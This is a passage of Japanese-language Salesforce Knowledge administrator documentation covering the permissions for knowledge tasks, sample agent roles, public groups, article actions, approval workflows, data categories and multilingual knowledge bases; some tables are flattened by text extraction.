ページで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

記事の翻訳を申請する

記事タイプに対する「参照」、「作成」、および「編
集」
および
記事を翻訳アクション ([記事アクションの設定] ペー
ジで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

翻訳記事を削除する
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必要なユーザ権限Salesforce ナレッジタスク

記事タイプに対する「参照」、「編集」、および「削
除」
および
記事を削除アクション ([記事アクションの設定] ペー
ジで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

翻訳記事を公開する

記事タイプに対する「参照」、「作成」、「編集」、
および「削除」
および
記事を公開アクション ([記事アクションの設定] ペー
ジで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

翻訳記事を編集する

記事タイプに対する「参照」、「作成」、および「編
集」
および
記事を翻訳アクション ([記事アクションの設定] ペー
ジで設定)

「Salesforce ナレッジの管理」(この権限は、システム
管理者プロファイルについては、デフォルトで有効に
なっています。)

および

記事をインポートする

「記事の管理」
および
「ナレッジ記事のインポート/エクスポートの管理」
および
記事タイプに対する「参照」、「作成」、「編集」、
および「削除」
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必要なユーザ権限Salesforce ナレッジタスク

「Salesforce ナレッジの管理」(この権限は、システム
管理者プロファイルについては、デフォルトで有効に
なっています。)

および

翻訳記事をインポートおよびエクスポートする

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および
「ナレッジ記事のインポート/エクスポートの管理」
(この権限は、システム管理者プロファイルについて
は、デフォルトで有効になっています。)

および
記事タイプに対する「参照」、「作成」、「編集」、
および「削除」

「データカテゴリの管理」権限。この権限は、システ
ム管理者プロファイルについては、デフォルトで有効
になっています。

データカテゴリを作成する

エージェントが特定の ToDo を実行できるようにするには、各ロールに公開グループを作成し、それらのグルー
プに必要な記事アクションのみを割り当てます。

例:  Salesforce ナレッジエージェントによって、業務経験の豊富さや、会社が提供する製品やサービスに対
する理解度は異なります。次の例は、4 つの基本的なユーザ種別と業務を実行するために必要な権限の一
部を示しています。
Scott: 閲覧者

Scott Jackson は入社してから日が浅いため、知識ベースは初級のエージェントです。現在、Scott は記事
に対して「参照のみ」のアクセス権を持っているため、記事を検索および参照できます。閲覧者は記
事を作成または公開することがないため、公開グループには属しておらず、記事の承認申請をする必
要もありません。Scott は、業務を実行するために次の権限が必要です。

記事タイプ固有の権限権限Scott

削除編集作成参照記事の管理Salesforce ナレッジの機能

ケースから記事を検索し、記事を
ケースに添付する

[記事] タブで記事の検索と参照を行
う
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Amber: 候補者
Amber Delaney は候補者レベルのエージェントで、状況が [作業進行中] または [未検証] の記事を作成
および公開できます。その他の検証状況の記事について作業する場合は、記事を公開する前に承認
キューに送信する必要があります。
Amber は KCS Candidate 公開グループに属しており、自分で公開できない記事は Publishing External キュー
に送信します。Amber は、業務を実行するために次の権限が必要です。

記事タイプ固有の権限権限Amber

削除編集作成参照記事の管理Salesforce ナレッジの機能

ケースから記事を検索し、記事を
ケースに添付する

[記事] タブで記事の検索と参照を行
う

[記事の管理] タブで記事を作成また
は編集する

[記事の管理] タブでドラフト記事を
編集する

公開記事またはアーカイブ済み記事
を編集する

Anne: 寄稿者
寄稿者である Anne Murphy は、より高度なナレッジユーザです。Anne は組織内の記事に対する基準を
理解しており、記事を作成したり、状況が [内部検証済み]の記事を公開したりできます。また、他の
ユーザが作成した記事の状況が [作業進行中] または [未検証] である場合に、これらの記事について
の作業を行い、状況を [内部検証済み] に変更できます。Anne には外部の利用者に記事を公開する権
限はないため、それらの顧客向け記事は Publishing External キューに送信する必要があります。

メモ: 記事承認者には、「記事の管理」権限と、確認する記事に関連付けられた記事タイプに対
して少なくとも「参照」権限が必要です。これらの権限を持っていれば、ドラフト状態の記事に
アクセスできます。これらの権限がない場合、承認者は記事の再割り当てを行えますが、承認は
できません。

Anne は、Contributor 外部グループのメンバーで、業務を実行するために次の権限が必要です。

記事タイプ固有の権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

単純なエディタを使用してケースか
ら記事を作成する
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記事タイプ固有の権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

標準エディタを使用してケースから
記事を作成する

ケースから記事を検索し、記事を
ケースに添付する

回答から記事を作成する

[記事] タブで記事の検索と参照を行
う

[記事の管理] タブで記事を作成また
は編集する

[記事の管理] タブでドラフト記事を
編集する

[記事の管理] タブで記事 (バージョン
または全体) を削除する

[記事の管理] タブで記事を割り当て
る

公開記事またはアーカイブ済み記事
を編集する

[記事の管理] タブで記事をアーカイ
ブする

Pat: 公開者
Pat Brown はナレッジドメインエキスパートで、外部利用者向けの記事の校閲と公開を行います。Pat は
Publisher 公開グループのメンバーです。また、Publishing External キューにも属しています。Pat は、業務
を実行するために次の権限が必要です。

記事タイプ固有の権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

単純なエディタを使用してケースか
ら記事を作成する

標準エディタを使用してケースから
記事を作成する

ケースから記事を検索し、記事を
ケースに添付する
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記事タイプ固有の権限権限

削除編集作成参照記事の管理Salesforce ナレッジの機能

回答から記事を作成する

[記事] タブで記事の検索と参照を行
う

[記事の管理] タブで記事を作成また
は編集する

[記事の管理] タブでドラフト記事を
編集する

[記事の管理] タブで記事 (バージョン
または全体) を削除する

[記事の管理] タブで記事を公開する

[記事の管理] タブで記事を割り当て
る

公開記事またはアーカイブ済み記事
を編集する

[記事の管理] タブで記事をアーカイ
ブする

全体のしくみ
各ユーザプロファイルは、さまざまな業務や職務を実行するためのエージェントの権限を定義しま
す。エージェントがこれらの職務を実行できるようにするには、各ロールに公開グループを作成し、
そのグループに必要な記事アクションのみを割り当てます。承認プロセスで作成する条件は、どの検
証状況は自動的に承認および公開できるか、そしてどの記事はドメインエキスパートが承認および公
開する必要があるかを定義します。
たとえば、寄稿者である Anne は [外部検証済み] 記事を作成できますが、Anne の公開グループに割り
当てられた記事アクションに基づいて、記事は公開者である Pat に送信され、Pat によって公開されま
す。Pat は公開者であるため、自分の記事をキューに送信せずに公開できます。
次の表に、各ロールが組織内で記事に対して実行する必要のある職務を示します。

公開者寄稿者応募者閲覧者職務

はい自動的に承認、公
開される

自動的に承認、公
開される

いいえ[作業進行中] を作
成、公開する

はい自動的に承認、公
開される

自動的に承認、公
開される

いいえ[未検証] を作成、
公開する
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公開者寄稿者応募者閲覧者職務

はい自動的に承認、公
開される

承認が必要いいえ[内部検証済み]を作
成、公開する

はい承認が必要承認が必要いいえ[外部検証済み]を作
成、公開する

はい自動的に承認、公
開される

いいえいいえ[作業進行中] を更
新、公開する

はい自動的に承認、公
開される

いいえいいえ[未検証] を更新、
公開する

はい自動的に承認、公
開される

いいえいいえ[内部検証済み]を更
新、公開する

はい承認が必要いいえいいえ[外部検証済み]を更
新、公開する

関連トピック:

ナレッジ用の公開グループの作成
ナレッジアクションの作成
公開グループへの記事アクションの割り当て
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ナレッジ用の公開グループの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

公開グループを作成また
は編集する
• 「ユーザの管理」

別のユーザの非公開グ
ループを作成または編集
する
• 「ユーザの管理」

Salesforce ナレッジでは、公開グループを使用して、記事に関連する特定の ToDo

にユーザを割り当てます。記事アクションを公開グループに割り当てると、そ
のグループのユーザに、指定した検証状況の記事を公開するなどといった操作
を行う権限を付与できます。公開グループは、承認プロセスで公開ワークフロー
を管理するためにも使用されます。
たとえば、Candidate公開グループのメンバーが [作業進行中]の状況の記事の承
認を申請すると、この記事は自動的に承認されて公開されます。同じエージェ
ントが [内部検証済み]の状況の記事の承認を申請すると、この記事は Publishing

External キューに移され、公開前に校閲されます。
1. [設定] から [クイック検索] ボックスに「公開グループ」と入力し、[公開グ

ループ] を選択します。
2. [新規] をクリックするか、編集するグループの横にある [編集] をクリックし

ます。
3. 次の情報を入力します。

説明項目

ユーザインターフェースページで、グルー
プを参照するために使用する名前です。

表示ラベル

この一意の名前は API および管理パッケージ
で使用されます。

[グループ名]  (公開グループの
み)

[階層を使用したアクセス許可] を選択し、
ロール階層を使用してレコードに自動アク
セスできるようにします。選択すると、こ
のグループのユーザと共有するすべてのレ
コードは、階層内の上層のユーザとも共有
されます。
[すべての内部ユーザ] をメンバーとして公開
グループを作成する場合は、[階層を使用し

[階層を使用したアクセス許可]

(公開グループのみ)

たアクセス許可]を選択解除します。これに
より、レコードをグループと共有する場合
のパフォーマンスが改善されます。

メモ: [階層を使用したアクセス許可]

がオフになっている場合、ロール階層
で上位のユーザが自動アクセスを許可
されることはありません。ただし、
「すべての参照」や「すべての編集」
オブジェクト権限、「すべてのデータ
の参照」や「すべてのデータの編集」
システム権限などを持っているユーザ
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は、自分が所有していないレコードにもアクセスできま
す。

[検索] ドロップダウンリストから、追加するメンバーの種別
を選択します。追加するメンバーが見つからない場合は、検
索ボックスにキーワードを入力し、[検索]をクリックします。

検索

メモ: 取引先所有者は、大規模ポータルユーザが所有す
る子レコードを参照するには、ポータルユーザのデータ
に対するアクセス権を持つポータル共有グループのメン
バーでなければなりません。

[共有可能なユーザ] ボックスからメンバーを選択し、[追加]を
クリックすると、そのメンバーがグループに追加されます。

選択済みのユーザ

このリストで、そのメンバーがこの公開グループのメンバー
を追加または削除できる代理管理グループを指定します。[選

選択済みの代理グループ

択可能な代理グループ] ボックスからグループを選択して、[追
加]をクリックします。このリストは公開グループでのみ表示
されます。

4. [保存] をクリックします。

メモ: グループを編集すると、共有ルールが自動的に再評価され、必要に応じてアクセス権が追加ま
たは削除されます。これらの変更の影響を一度に受けるレコードが多すぎる場合は、共有ルールの自
動的な再評価が実行されないことを警告するメッセージが表示されます。この場合は、共有ルールを
手動で再評価する必要があります。

知識ベースの整合性を保ちつつ、選択されたメンバーが ToDo を実行できるように、グループには必要なアク
ションのみを割り当てます。

関連トピック:

ナレッジアクションの作成
公開グループへの記事アクションの割り当て
ナレッジ記事へのアクセス
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ナレッジアクションの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジアク
ションを有効にする
• 「アプリケーションの

カスタマイズ」

ナレッジアクションとは、ワークフローアクションを記事タイプにリンクする
テンプレートです。ナレッジアクションが有効である場合、記事タイプを特定
のワークフローの記事のアクション (公開など) にリンクするために使用できま
す。たとえば、各 FAQ が承認プロセスを完了するたびに新しいバージョンとし
て公開されるように設定している場合、FAQ 記事タイプを [新規として公開] ア
クションにリンクするようにナレッジアクションを作成することができます。
こうした場合、FAQ の承認プロセスを作成するときに、新しいナレッジアクショ
ンを選択します。

重要: 承認プロセスを作成するときは、必ず最終承認時のアクションを [レ
コードを編集するためにロック解除する] に変更して、ユーザが記事を公開
できるようにします。

1. [設定] から、[クイック検索] ボックスに「ナレッジアクション」と入力し、
[ナレッジアクション] を選択します。

2. [新規ナレッジアクション] をクリックします。
3. アクションの記事タイプを選択します。アクションに関連付けるワークフ

ロールールと承認プロセスは、同じ記事タイプに属する必要があります。
4. ナレッジアクションに一意の名前を入力します。
5. 記事タイプに適用するアクションのタイプを選択します。たとえば、[新規

として公開] は記事を新規バージョンとして公開します。
6. 説明を入力します。
7. [保存] をクリックします。

ナレッジアクションの詳細ページが表示され、ナレッジアクションを使用す
るルールと承認プロセスが示されます。

8. 承認またはワークフロープロセスでナレッジアクションを使用する準備が整ったら、ナレッジアクション
の詳細ページにある [有効化] をクリックします。

関連トピック:

公開グループへの記事アクションの割り当て
ナレッジ用の公開グループの作成
ナレッジ記事へのアクセス
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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公開グループへの記事アクションの割り当て

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

公開グループを作成して
記事アクションに割り当
てる
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「Salesforce ナレッジ
の管理」

記事アクションを使用すると、エージェントが記事の公開プロセスに参加でき
ます。デフォルトでは、すべての記事アクションは「記事の管理」ユーザ権限
を持つユーザに割り当てられます。エージェントは、正しい記事タイプ権限が
ある場合に限り、アクションを実行できます。記事アクションへのアクセスを
制御するには、公開グループを記事アクションに割り当て、エージェントを関
連する公開グループに追加します。公開などのアクションを詳細に制限する場
合は、承認プロセスを作成して、エージェントが特定の検証状況を持つ記事の
みを公開できるようにすることができます。たとえば、寄稿者の多くはいくら
でも記事を作成できますが、承認プロセスを作成できるのはシステム管理者で
あるため、適格な著者によって校閲および検証されるまで記事は公開されませ
ん。

メモ: 公開グループにはどのユーザでも追加できますが、記事アクション
を実行できるのは「記事の管理」ユーザ権限と適切なオブジェクト権限を
持つエージェントのみです。

次の表では、各記事アクションに必要な記事タイプ権限がまとめられています。

削除編集参照作成記事アクション

記事を公開

記事をアーカイブ

記事の削除

公開およびアーカイブ済みの
記事の編集

記事の翻訳申請

翻訳を公開

翻訳の編集

1. [設定] から、[クイック検索] ボックスに「ナレッジ記事アクション」と入力
し、[ナレッジ記事アクション] を選択します。

2. [編集] をクリックします。
3. 割り当てるアクションについて、該当するラジオボタンを選択してから、公開グループを選択します。

記事アクションを変更しない場合、「記事の管理」権限を持つすべてのエージェントがそのアクションを
実行できます。
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4. [OK] をクリックし、さらに [保存] をクリックします。

関連トピック:

ナレッジ用の公開グループの作成
ナレッジアクションの作成
ナレッジ記事へのアクセス
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

検証状況選択リスト値の定義

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce ナレッジを使用
可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

検証状況の選択リスト値
を作成または変更する
• 「アプリケーションの

カスタマイズ」

[ナレッジの設定] ページで [検証状況] 項目が有効な場合、記事の状態を示す選
択リスト値を作成できます。たとえば、値を「検証済み」、「未検証」、または
「 要レビュー」とすることができます。

メモ: Salesforce Classic では、検証状況の選択リスト値は、記事を翻訳するた
めにエクスポートするときには維持されません。選択リスト値を伴う記事
をインポートできますが、その値は、組織にその値が存在する場合にのみ
維持されます。

1. Salesforce Classicの [設定] から、[クイック検索]ボックスに「検証状況」と入力
し、[検証状況] を選択します。

2. 選択リストの編集ページで、[新規] をクリックして [検証状況] 項目に新しい
値を追加します。選択リスト値の編集、削除、並び替え、置き換えもできま
す。
選択リスト値を置き換えると、記事のすべてのバージョン (アーカイブされ
たバージョンを含む) の値が置き換えられます。

3. テキストエリアに 1 つ以上の選択リスト値 (1 行あたり 1 つ) を追加します。
4. 選択リストのデフォルトとして値を設定するには、[デフォルト] チェック

ボックスを必ずオンにしてください。
5. [保存] をクリックします。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事のワークフローと承認

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

ワークフロールールと承
認プロセスの設定をカス
タマイズする
• 「設定・定義を参照す

る」

ワークフロールールおよ
び承認プロセスを作成ま
たは変更する
• 「アプリケーションの

カスタマイズ」

正確な情報を特に必要としているユーザに対し、正しい情報を伝えるためには、
記事の内容を正確で有用なものとするよう徹底する必要があります。ナレッジ
エキスパートが記事を公開するために校閲、検証、承認するプロセスを作成す
ることは、信頼できる知識ベースの作成に不可欠です。Salesforce ナレッジと共
に承認プロセスを実装することで、記事の内容と公開をより詳細に制御できま
す。
ワークフロールールと承認プロセスを作成することによって、組織は知識ベー
スの管理に伴う多くの ToDo を自動化できます。Salesforce ナレッジを実装すると
きに、組織が使用する一部またはすべての記事タイプのワークフロールールと
承認プロセスを作成できます。
ワークフロールールでは、記事が特定の条件に一致した場合にメールアラート
の作成、項目の更新、またはアウトバウンド API メッセージの送信を行えます。
たとえば、新しい記事がケースから作成されたときにメールアラートが記事の
所有者に送信されるワークフロールールを作成できます。ToDo は、記事タイプ
のワークフローではサポートされません。
承認プロセスは、記事の承認を自動化します。承認プロセスを Salesforce ナレッ
ジと共に実装した場合、記事の内容と記事の承認に使用されるプロセスをより
詳細に制御できます。たとえば、機密情報を含む記事を法務チームおよび管理
チームが承認するプロセスを作成できます。

メモ: 記事タイプのワークフロールールでは ToDo を使用できません。ワー
クフロールールの作成についての詳細は、「ワークフロールールの条件の
設定」 (ページ5865)を参照してください。承認プロセスの作成についての詳
細は、「標準ウィザードを使用した承認プロセスの作成」 (ページ5897)を参
照してください。

1. [設定] から、[クイック検索] ボックスに「ワークフロールール」と入力し、
[ワークフロールール] を選択してワークフロールールリストページにアクセ
スします。

2. ワークフロールールリストページで、[新規ルール] をクリックします。
3. [オブジェクトの選択] ドロップダウンリストから、記事タイプを選択しま

す。
4. [次へ] をクリックします。
5. ルールの名前を入力します。必要に応じて、ルールの説明を入力します。
6. 評価条件を選択し、条件をどう一致させるかを選択します。
7. ルールの条件を入力します。
8. [保存 & 次へ] をクリックします。
9. [ワークフローアクションの追加] をクリックし、ルールのアクションの種別を選択し、アクションに必要

な情報を入力します。
10. [保存] をクリックします。
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11. 必要に応じて、[タイムトリガの追加] をクリックして、時間ベースのワークフローアクションを追加しま
す。タイムトリガ情報を入力してから、[保存] をクリックします。

12. [完了] をクリックします。
13. [設定] から、[クイック検索] ボックスに「承認プロセス」と入力し、[承認プロセス] を選択します。
14. 承認プロセスウィザードを選択します。

承認プロセスの設定に役立つウィザードは 2 つあります。より要件に適した方を選択します。「承認プロ
セスの作成に適切なウィザードの選択」 (ページ 5895)を参照してください。

15. プロセスの名前、一意の名前、および説明を入力します。
16. プロセスを開始するための条件を指定します。

たとえば、記事を公開サイトに公開する場合には、「公開サイトで表示」「次の文字列と一致する」「True」
という承認が必要であることを指定できます。

17. プロセスの承認者を指定します。
申請者が承認者を手動で選択する。(デフォルト)

次の承認者を選択するようにユーザは求められます。
標準またはカスタムの階層関係項目を使用して自動的に承認者を割り当てる。

このオプションの横に表示されている項目のユーザに承認申請を割り当てます。承認プロセスを設定す
る場合、この項目を選択します。

自動的にキューに割り当てる。
キューをサポートするオブジェクトでのみ使用できます。キューに承認申請を割り当てます。

自動的に承認者に割り当てる。
特定ユーザ、特定キューまたは申請レコードに関係するユーザに承認申請を割り当てます。1 ステップ
あたり 25 件まで追加できます。

18. プロセスが承認者に通知するために使用するメールテンプレートを選択します。
承認プロセスによってユーザへ承認申請が割り当てられると、Salesforce からそのユーザに対して承認申請
メールが送信されます。メールには Salesforce の承認ページへのリンクが記載されています。このページで
は、エージェントが申請を承認または却下したり、コメントを追加したりできます。

19. 承認申請ページのレイアウトを設定します。
承認者はこのページで記事を承認または却下します。このページには、エージェントが記事の内容を適切
に評価するために必要な項目をいくつでも追加できます。たとえば、記事の内容の概要、対象商品、著者
名などの情報を含めることが考えられます。

20. 記事の承認を申請できるユーザを指定します。
たとえば、承認の前に記事の編集が必要な場合は、編集者を含む公開グループを作成し、そのグループの
メンバーだけが記事の承認を申請できるように指定できます。

21. 承認プロセスを有効にします。

例: 承認プロセスと記事タイプが関連付けられている場合、「記事の管理」権限を持つエージェントの記
事の詳細ページに、[公開...] ボタンと [承認申請] ボタンの両方が表示されます。表示されるボタンは、権
限と記事アクションによって決まります。これらのエージェントは、承認を申請せずに記事を公開でき
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ます。この権限を特定のユーザに限定するには、「記事の公開」記事アクションを「記事の管理」権限
を持つすべてのユーザに割り当てず、限定されたユーザのグループに割り当てます。事前の承認なしに
記事を公開する権限は、各ユーザの公開グループに固有の承認プロセスに基づいて決定されます。

記事タイプの承認プロセスを作成するときには、次の点に留意してください。
• 記事タイプに承認プロセスを追加することによって、必要なレビュー担当者による公開前記事の承認を確

実に実行できます。記事の記事タイプに承認プロセスが有効化されると、記事の詳細ページに承認履歴関
連リストが表示されます。

• 承認プロセスを作成するときに、最終承認時のアクションを [レコードを編集するためにロック解除する]

に変更し、エージェントが記事を公開できるようにしておきます。
• 記事は、承認プロセスの最後に自動的に公開されません。記事を公開チャネルで利用できるようにするに

は、エージェントが [Publish...] をクリックする必要があります。
• 承認プロセスと記事タイプが関連付けられている場合、「記事の管理」権限を持つエージェントの記事の

詳細ページに、[Publish...] ボタンと [承認申請] ボタンの両方が表示されます (表示されるボタンは、権限と
記事アクションによって決まります)。これらのエージェントは、承認を申請せずに記事を公開できます。
これが多くのユーザに影響しないようするには、「記事の公開」記事アクションを「記事の管理」権限を
持つすべてのユーザに割り当てず、限定されたユーザのグループに割り当てます。詳細は、「公開グルー
プへの記事アクションの割り当て」 (ページ3419)を参照してください。限定されたユーザのグループに割り
当てた場合でも、直接公開する権限を持つユーザが、どの記事が公開前に承認を必要とするかを確実に理
解していることが必要です。

• 記事承認者には、「記事の管理」権限と、確認する記事に関連付けられた記事タイプに対して少なくとも
[参照] 権限が必要です。これらの権限を持っていれば、ドラフト状態の記事にアクセスできます。これら
の権限がない場合、承認者は記事の再割り当てを行えますが、承認はできません。

• ワークフロールールと承認プロセスは、記事の公開サイクルの「ドラフトから公開」部分に適用されます。
ワークフロールールは、アーカイブには使用できません。承認プロセスは、翻訳またはアーカイブには使
用できません。

メモ: 編集ページから記事が公開された場合、まず記事を保存してから、公開します。ワークフロー
ルールは保存されたドラフト記事に適用されますが、公開記事には適用されません。

• ある記事タイプに関連付けられた承認プロセスがあり、承認プロセスが完了していて (すべての承認者が承
認済み)、記事がまだ公開されていない場合には、その記事タイプに対して参照アクセス権のみを持つユー
ザがそのドラフト記事を公開できます。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事のデフォルトのカテゴリグループ割り当ての変更

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジのカテ
ゴリグループ割り当てを
変更する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

Salesforce ナレッジではデータカテゴリを使用して記事を分類します。データカ
テゴリは、カテゴリグループに整理されます。カテゴリグループを作成した後、
システム管理者は Salesforce ナレッジ記事に使用するグループを指定できます。
たとえば、組織でアンサーと Salesforce ナレッジの両方を使用する場合、アンサー
コミュニティでカテゴリグループを 1 つ使用し、記事では他に 2 つのカテゴリグ
ループを使用することができます。アンサーコミュニティと記事で同じカテゴ
リグループを使用できます。記事の検索を行うユーザが記事を探せるように、
また、カテゴリ別に記事を絞り込めるように、著者は 1 つのカテゴリグループ
の最大 8 個のデータカテゴリを記事に割り当てることができます。デフォルト
では、作成したすべてのカテゴリグループが Salesforce ナレッジに割り当てられ
ます。
1. [設定] から、[クイック検索]ボックスに「データカテゴリの割り当て」と入力

し、[ナレッジ] で [データカテゴリの割り当て] を選択します。
すべてのカテゴリグループのリストが表示されます。

2. [編集]をクリックし、記事に使用しないカテゴリグループを [選択したカテゴ
リグループ] リストから [使用可能なカテゴリグループ] リストに移動します。
後で、表示されていないカテゴリグループを表示させることができます。

メモ: カテゴリグループの順序は、編集ページからデータカテゴリの割
り当てページに保持されません。

3. [保存] をクリックします。
保存プロセスが完了すると、メールで通知されます。著者はこの時点で、選
択したグループのカテゴリを [記事の管理] タブの記事に割り当てることがで
きます。カテゴリグループが有効で、著者のデータカテゴリ表示設定によっ
てカテゴリへのアクセス権が付与されている場合にのみ、著者がカテゴリに
アクセスできます。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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データカテゴリの対応付けを使用した記事の絞り込み

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

データカテゴリグループ
を対応付ける
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

ケース解決時の推奨記事の関連性を高めることができます。ケース項目をデー
タカテゴリに対応付け、それらのデータカテゴリに割り当てられた記事を絞り
込みます。たとえば、商品に関する項目に関連するケースは、その商品のデー
タカテゴリに対応付けることができます。そのカテゴリまたは商品に割り当て
られた記事が絞り込まれ、推奨記事リストの最上部に表示されます。

重要:

• ケース情報に基づく記事の絞り込みは、テキスト項目と選択リスト項目
でのみサポートされます。

• 検索条件は、ケースが保存された後ナレッジ結果に適用されます。
• 検索条件は、ナレッジ検索後、検索で返された記事にのみ適用されま

す。
• 検索条件を使用する場合、検索条件に一致するすべての記事のリストが

返されるのではなく、返された記事結果の最初のプールに検索条件が適
用されます。

• 検索後に結果を絞り込むことができます。
• カテゴリグループは、データカテゴリの対応付けで一度のみ使用できま

す。
• [ケースの内容に関するケースの記事を推奨する] が有効な場合は、推奨

記事が返されます。推奨記事が無効な場合、検索にはデータカテゴリの
対応付けが使用されます。ケースの件名項目は、データカテゴリの対応
付けがない場合に使用されます。

データカテゴリの対応付けを実装するには、どのケース項目をどのデータカテ
ゴリに対応付けるかを選択し、さらに、対応付けられた項目に値がないケース
のためのデフォルトのデータカテゴリを設定します。
データカテゴリについての詳細は、「Salesforce.com のデータカテゴリ」 (ページ
3504)を参照してください。
1. [設定] から、[クイック検索]ボックスに「データカテゴリの対応付け」と入力し、[データカテゴリの対応付

け] を選択します。
2. [ケース項目] 列で、ドロップダウンリストを使用して項目を追加します。
3. [データカテゴリグループ] 列で、ドロップダウンリストを使用して、参照項目からの情報をデータカテゴ

リに対応付けます。
4. 項目値がカテゴリグループのどのカテゴリとも一致しない場合は、[デフォルトデータカテゴリ]列でドロッ

プダウンリストを使用して、データカテゴリを割り当てます。
5. [追加] をクリックします。

関連トピック:

Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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複数言語の記事のサポート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

Salesforce ナレッジで複数言語を使用すると、利用者に合わせた言語に記事を翻
訳できるため、サポートコストを削減できます。言語設定を選択した後、知識
ベースの編集ツールを使用して社内で記事を翻訳するか、記事をローカライズ
ベンダに送信するか、2 つの翻訳方法を選択できます。言語ごとに異なる方法を
使用できます。たとえば、フランス語の翻訳ではベンダに記事をエクスポート
し、スペイン語の翻訳では記事を社内ナレッジユーザに割り当てることもでき
ます。
• 言語を知識ベースに割り当てる前に、記事をSalesforceで直接翻訳するか、翻

訳ベンダにエクスポートするかを言語ごとに決定します。決定結果を翻訳プ
ロセスの関係者 (著者、校閲者、翻訳マネージャ、公開者) に伝達します。

• 言語を知識ベースに追加するとき、言語を削除できないことに注意してくだ
さい。ただし、言語は無効にすることで非表示にできます。言語を無効にす
ると、[新規記事] ダイアログと [翻訳申請] ダイアログに選択肢として表示さ
れなくなります。また、記事がすでにその言語で公開されている場合、それ
らの記事は言語を無効にすると読者に表示されなくなります。

• 知識ベースに追加できるのは、Salesforce でサポートされている言語のみで
す。

• 特定の言語の翻訳記事を非表示にするには、[設定] ページで [有効] をオフ
にして言語を無効にします。

関連トピック:

マルチ言語の知識ベースの設定
翻訳用の記事のエクスポート
翻訳記事のインポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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マルチ言語の知識ベースの設定

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジに複数
言語を設定する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

知識ベースを複数言語で提供することにより、世界中の利用者にリーチします。
1. [設定] で、[クイック検索] ボックスに「ナレッジの設定」と入力し、[ナレッ

ジの設定] を選択します。
2. [編集] をクリックします。
3. [複数言語] を選択し、知識ベースに含める言語を追加します。

重要: 追加できる言語は、Salesforce の各自のインスタンスでサポートさ
れているもののみです。ただし、知識ベースに追加されている言語を削
除することはできません。

